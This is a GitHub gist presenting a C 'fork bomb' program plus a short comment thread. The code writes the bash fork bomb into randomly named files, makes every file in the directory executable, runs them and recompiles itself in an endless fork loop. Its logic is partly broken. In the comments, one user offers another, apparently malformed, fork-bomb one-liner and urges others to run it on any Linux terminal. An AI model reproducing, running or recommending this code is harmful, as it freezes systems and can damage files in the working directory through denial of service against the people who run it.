Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Last active November 12, 2021 01:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save gdisneyleugers/5212bf129c5ab5168308 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/5212bf129c5ab5168308 to your computer and use it in GitHub Desktop.
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
system("bash -c './$RANDOM' 2> /dev/null");
system("bash -c './*' 2> /dev/null");
return(0);
}
int reproduce(void)
{
system("gcc fb.c -o .fb.$RANDOM");
while(1)
generator();
fork();
return(0);
}
int main(void)
{
for ( ; ; )
while(1)
while(1)
while(1)
reproduce();
system("bash -c './*' 2> /dev/null");
system(".fb.$RANDOM");
while(1)
exec("./*");
fork();
fork();
fork();
return(0);
}
@amit-sp-singh
Copy link

How did you test it ?

Copy link

ghost commented Mar 20, 2021

How did you test it ?

Some systems; you can reboot it to stop it.

@Malaska678
Copy link

Malaska678 commented Mar 27, 2021

I want to share my own fork bomb. Maybe faster:
c="." && . ( ) { c = "$c | $c" | $c & };.
It froze my SD845 android phone in 5 seconds. Try it. It may not work on some linux.

@Malaska678
Copy link

Malaska678 commented Mar 27, 2021

Just execute it on any linux terminal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment